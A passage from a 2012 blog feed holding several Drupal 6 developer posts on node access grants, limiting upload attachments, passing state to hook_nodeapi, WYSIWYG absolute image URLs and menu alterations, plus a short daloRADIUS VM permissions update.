&lt;p&gt;Modules define the grants – when a node access check is being made, modules implementing &lt;code&gt;hook_node_grants()&lt;/code&gt; are called with the user account and current node being accessed and should return their grants.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To put this together, when a node is being accessed and goes through a node access check: we have in one side the node_access database table which holds all of the grant records, upon which the user should be granted access to a node, and in the other side we call up modules with the node being accessed and tell them to return their grant records. This yields a WHERE clause where the module’s returned grants are then compared against the database. Since Drupal’s node access system uses an OR to concatenate all of the modules’ grants, it’s enough that one realm or one grant will approve access to the node for the user to gain access to it.&lt;/p&gt;</content:encoded></item><item><title>Implementing user-specific, role-based access control per node type, per group. (Part 1)</title><link>https://lirantal.com/blog/2012-11-11/</link><guid>https://lirantal.com/blog/2012-11-11/</guid><description>Understanding Drupal&apos;s node access system and how to hook into it to implement</description><pubDate>Sun, 11 Nov 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’re going to review a fringe case of setting an access control system, such that, the view access to a node is dependant upon the role the user have. To further complicate it, users get different roles in different  &lt;a href=&quot;http://www.drupal.org/project/og&quot;&gt;groups&lt;/a&gt; they are in.&lt;/p&gt;
&lt;h2 id=&quot;basic-node-access-system-overview&quot;&gt;Basic node access system overview&lt;/h2&gt;
&lt;p&gt;To understand first how  &lt;a href=&quot;http://www.drupal.org/&quot;&gt;Drupal’s&lt;/a&gt; &lt;a href=&quot;http://api.drupal.org/api/examples/node_access_example%21node_access_example.module/6&quot;&gt;node access system&lt;/a&gt; behaves by default, let’s follow this process flow that presents what happens when a node is being accessed via node_load():&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._4.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703113328im_/http://enginx.com/wp-content/uploads/2013/08/blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._4-189x300.png&quot; alt=&quot;blog_-_implementing_user-specific_role-based_access_control_per_node_type_per_group._4&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Process (1) and (2) are pretty obvious. If the user is an administer the node access checks are bypassed and the process gets short-circuit there.&lt;/p&gt;
&lt;p&gt;Process (3) is rather interesting, this is Drupal’s attempt to be modular and it looks out which module created (or is in-charge of) this node content type and fires it with the operation and extra parameters. It’s a nice attempt and at best, only that. It’s not really helpful because most chances are that our module did not define the content type. So yay, still no luck to hook in here and get our job done.&lt;/p&gt;
&lt;p&gt;Process (4) is the final step of attempting to resolve the node access requirement and hits the heart of Drupal’s node access system. We’ll focus on this part next.&lt;/p&gt;
&lt;p&gt;Node access is handled in 2 places&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When the node is loaded via node_load() (and goes through the process visualized previously)&lt;/li&gt;
&lt;li&gt;When a database query is crafted to return node related information:
&lt;ol&gt;
&lt;li&gt;This happens either in a developer’s custom code when executing db_query() and then wrapping it with db_rewrite_sql(), which re-structure your SQL to join the node_access table for node records (if you’re not wrapping your queries when fetching node information for users you’re doing it “wrong”, bypassing any underlying ACLs).&lt;/li&gt;
&lt;li&gt;The  &lt;a href=&quot;http://www.drupal.org/project/views&quot;&gt;Views&lt;/a&gt;  module is an administrative GUI which yields a database query that fetches relevant data and then themes it. The Views module does not perform a node_load() for each node in the generated result-set (for obvious performance reasons) which is why it’s also using internally db_rewrite_sql() for the actual generated result.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As you may have realized by now, it doesn’t really matter if you’re doing a node_load() or a custom database query, in either case the underlying node access system is involved in the process of determining access.&lt;/p&gt;</content:encoded></item><item><title>Restricting Drupal’s upload module to N attachments</title><link>https://lirantal.com/blog/2012-11-08/</link><guid>https://lirantal.com/blog/2012-11-08/</guid><description>Assign a per-content type permission to limit the number of attachments per node on Drupal 6</description><pubDate>Thu, 08 Nov 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’ve enabled the node attachments support in Drupal 6 and needed to limit it’s use for only allowing to attach one file per node and didn’t know how then this post is for you.&lt;/p&gt;
&lt;p&gt;You can also achieve the same thing with the CCK’s FileField module by attaching it and setting the field to appear once instead of ‘Unlimited’ though there may be cases where you just don’t want or can’t use that CCK field and revert to Drupal’s upload module:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It has site-wide settings for things like quote per user, per role, size of files to be uploaded and such while with the CCK FileField you’d need to set it per field in each node content type (or re-use the field)&lt;/li&gt;
&lt;li&gt;It’s Drupal built-in and has, presumably, better integration than other modules.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s begin a possible solution for this problem:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We’ll define a variable to hold the setting of attachment counts per content type – this promises that the solution is generic enough rather than a dirty hack&lt;/li&gt;
&lt;li&gt;While it’s possible to create a new module and use the correct hooks to enforce the required behavior I’ll explain how to patch the upload module for the sake of simpler and shorter post.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Our function to handle the attachment count needs to check the amount of files attached to the node in question as well as alter the form elements so we obviously need these 2 items.&lt;/p&gt;
&lt;p&gt;The logic for this function is pretty straight-forward, if such limit is defined for a given content type and is set to 1 attachment item then we remove the ‘Attach’ ajax button so it’s only possible to choose a file but not yet to upload it to the server (it will be saved/uploaded with the form submit). If on the other hand a higher limit is set then we count how many items are set in the &lt;code&gt;$node-&gt;files&lt;/code&gt; array (without the possible stale ‘upload’ array) and based on that choose to remove the whole attachment wrapper altogether from the form (which is stored in &lt;code&gt;$form[&apos;new&apos;]&lt;/code&gt;):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function _upload_limits_attachment_count_set(&amp;#x26;$form, &amp;#x26;$node) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$upload_limits_attachment_count = (int) variable_get(&apos;upload_limits_attachment_count_&apos;.$node-&gt;type);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;// Remove the upload element from the array which get sets if user decides to delete a node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;unset($node-&gt;files[&apos;upload&apos;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;// If limit is only for one item let&apos;s just remove the Attach ajax action&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;if ($upload_limits_attachment_count == 1) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;unset($form[&apos;new&apos;][&apos;attach&apos;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;} elseif ($upload_limits_attachment_count &gt; 1) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;// If a larger limit is defined then we check if that limit has reached and disable the option to upload more files altogether&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;if (count($node-&gt;files) &gt;= $upload_limits_attachment_count)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;unset($form[&apos;new&apos;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We’ll have to call this function in the form that handles the ajax call as well as the form that draws for the first time, so effectively calling this function in:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;upload_js()&lt;/code&gt; function just before the drupal_alter&lt;/li&gt;
&lt;li&gt;&lt;code&gt;upload_form()&lt;/code&gt; function at the very end, just before the return statement&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To do this right we’ll also need to hook into &lt;code&gt;hook_nodeapi()&lt;/code&gt; to make sure that the attached files that match and are going to be saved and related to this node are correct. This is more like a security measure to make sure that no one injected files in a programmed manner or manipulated the form somehow manually.&lt;br&gt;
Hooking into &lt;code&gt;nodeapi()&lt;/code&gt; then:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;* Implementation of hook_nodeapi().&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;* @param &amp;#x26;$node The node the action is being performed on.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;* @param $op What kind of action is being performed. Possible values: alter, delete, delete revision, insert, load, prepare, prepare translation, print, rss item, search result, presave, update, update index, validate, view&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;* @param $a3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;* @param $a4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function mymodule_nodeapi(&amp;#x26;$node, $op, $a3 = NULL, $a4 = NULL) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$upload_limits_attachment_count = (int) variable_get(&apos;upload_limits_attachment_count_&apos;.$node-&gt;type, &apos;&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;if (!empty($upload_limits_attachment_count)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$i = 0;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;foreach ($node-&gt;files as $key =&gt; $value) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$i++;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;if ($i &gt; $upload_limits_attachment_count)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$node-&gt;files[$key][&apos;remove&apos;] = 1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Maintaining states between form submit and node hooks in Drupal 6</title><link>https://lirantal.com/blog/2012-10-26/</link><guid>https://lirantal.com/blog/2012-10-26/</guid><description>Insights about Drupal&apos;s use of node_save() functions and how the hook_nodeapi() uses a different context than the form submit handler</description><pubDate>Fri, 26 Oct 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With Drupal, it is many times the case where you’d find yourself working with custom forms or alter existing forms through the Form API and end up modifying the submit handler so that you are essentially triggering &lt;code&gt;node_save()&lt;/code&gt; yourself.&lt;/p&gt;
&lt;p&gt;If you find yourself in such scenario where you are also having conditional actions in an implementation of &lt;code&gt;hook_nodeapi()&lt;/code&gt; then you’ll soon enough realize that there is complete isolation between the &lt;code&gt;$form&lt;/code&gt; array (or $form_state for that matter), which is available through the various form hooks, to the node handling hooks.&lt;/p&gt;
&lt;p&gt;To give a practical example, imagine a case where upon a field property in the form you would like to handle the node saving that you implement in your custom &lt;code&gt;hook_nodeapi()&lt;/code&gt; differently. The problem is right there – in your implementation of &lt;code&gt;hook_nodeapi()&lt;/code&gt; you don’t get the $form nor any access to it, nor is it possible to pass it in any way.&lt;/p&gt;
&lt;p&gt;I guess one way to attack the problem would be to glance into &lt;code&gt;$_POST&lt;/code&gt; and take it from there. Now breadth slowly and forget this was ever an option since we are supposed to do things the ‘right way’ and not the ‘easy way’. Leave your quick-and-dirty work to quick-and-dirty situations (and production environment is not one of them).&lt;/p&gt;
&lt;p&gt;Solving the issue though isn’t that hard as it looks – we’ll use the $node object as our temporary storage and simply apply attributes to the object. Because the object is passed by reference to &lt;code&gt;node_save()&lt;/code&gt; the attribute being used will be available in any of the &lt;code&gt;hook_nodeapi()&lt;/code&gt; implementations. You also don’t have to worry about the attribute is it’s not going to be persisted to the database.&lt;/p&gt;
&lt;p&gt;Taking a practical example at it, assuming you are modifying an existing node, the code may look something like:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; function mymodule_node_edit_form_submit($form_id, $form_values) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $node = node_load(arg(1));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $node-&gt;title = $form_state[&apos;values&apos;][&apos;title&apos;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; // ... rest of your code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; // use an attribute to define some state (or actually pass anything from $form if required)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $node-&gt;is_using_x = TRUE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; node_save($node);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Later on in any implementation of &lt;code&gt;hook_nodeapi()&lt;/code&gt; the &lt;code&gt;$node&lt;/code&gt; object, passed as reference, will maintain &lt;code&gt;$node-&gt;is_using_x&lt;/code&gt; attribute with whatever payload you’ve set it to.&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS VM update</title><link>https://lirantal.com/blog/2012-10-13/</link><guid>https://lirantal.com/blog/2012-10-13/</guid><description>Necessary updates for the daloRADIUS VM related to configuration file permissions</description><pubDate>Sat, 13 Oct 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A minimal daloRADIUS VM update for those of you who are still using the original VM you got from the previous daloradius.com blog website – the following commands are necessary to allow the web server user to save settings to &lt;code&gt;daloradius.conf.php&lt;/code&gt; as well as add the web server user to the adm group so that it’s able to view log files by freeradius and such.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;chown www-data:www-data /var/www/daloradius/library/daloradius.conf.php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;usermod -a -G adm www-data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Alter WYSIWYG settings in Drupal</title><link>https://lirantal.com/blog/2012-10-09/</link><guid>https://lirantal.com/blog/2012-10-09/</guid><description>Altering WYSIWYG settings to make image URLs absolute so that they are also accessible via Email clients.</description><pubDate>Tue, 09 Oct 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you deliver content notifications over email and that content may have images attached to it, inline in the message, it will badly display an image source that it can’t find. This is because when the WYSIWYG adds the image to the page it sets the image source to be a relative URL such as &lt;code&gt;/system/files/image_1.jpg&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It’s possible to create an alter hook that changes the init settings passed to the WYSIWYG and making every attached image as a full &lt;code&gt;http://&lt;/code&gt; source link.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Implements hook_wysiwyg_editor_settings_alter&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Alters the WYSIWYG editor settings to make URLs for images be absolute (i.e: prefixed with http://)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * so that they are also accessible via Email clients.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function my_module_wysiwyg_editor_settings_alter($settings, $context) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $settings[&apos;convert_urls&apos;] = TRUE;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $settings[&apos;relative_urls&apos;] = FALSE;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $settings[&apos;remove_script_host&apos;] = FALSE;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Drupal Commons menu items adjustments</title><link>https://lirantal.com/blog/2012-10-05/</link><guid>https://lirantal.com/blog/2012-10-05/</guid><description>Using hook_menu_alter() to adjust menu items in Drupal Commons</description><pubDate>Fri, 05 Oct 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With commons you mostly feel like you’re always eating a mixed salad. You get a lot of Acquia’s custom features and contributed modules, which all of it builds up a specific distribution type.&lt;/p&gt;
&lt;p&gt;Salads lose their appeal when you need to dig in and seek for a specific item, which was the case in a recent fiddling with it. Commons provides a ‘bookmarks’ link in the user’s Profile area underneath the user’s avatar, along with a bunch of other links and we needed a way to pull it into the tabbed links menu. One would wonder how to approach that?&lt;/p&gt;
&lt;p&gt;Just by looking at the existing menu items, it’s easy to spot that they are all part of the same hierarchy and the menu system. Assuming that the menu items were done sanely, meaning no one at Acquia hard coded these links or used a custom menu hook, then they were probably declared in &lt;code&gt;hook_menu()&lt;/code&gt;. Where exactly is another question and while you may choose to seek this out it doesn’t really matter. Lucky for us Drupal declares a &lt;code&gt;hook_menu_alter()&lt;/code&gt;, which if you implement in the lowest priority module (read: highest numeric value for module’s weight in the system table) then you can easily throw in there a debug break point that looks at the &lt;code&gt;$items&lt;/code&gt; of the menu and locate that particular entry.&lt;/p&gt;
&lt;p&gt;Doing that, yields the following (more or less):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[user/%views_arg/bookmarks] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[page callback] =&gt; views_page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[page arguments] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[0] =&gt; flag_bookmarks_tab&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[1] =&gt; page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2] =&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[access callback] =&gt; og_features_menu_access_callback&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[access arguments] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[0] =&gt; views_access&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[1] =&gt; views_page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[0] =&gt; flag_bookmarks_tab&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[1] =&gt; page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2] =&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[3] =&gt; views&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[4] =&gt; user/%views_arg/bookmarks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[5] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[0] =&gt; views_check_roles&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[1] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[0] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2] =&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[load arguments] =&gt; Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[0] =&gt; flag_bookmarks_tab&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[1] =&gt; page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[2] =&gt; %index&lt;/span&gt;&lt;/span&gt;
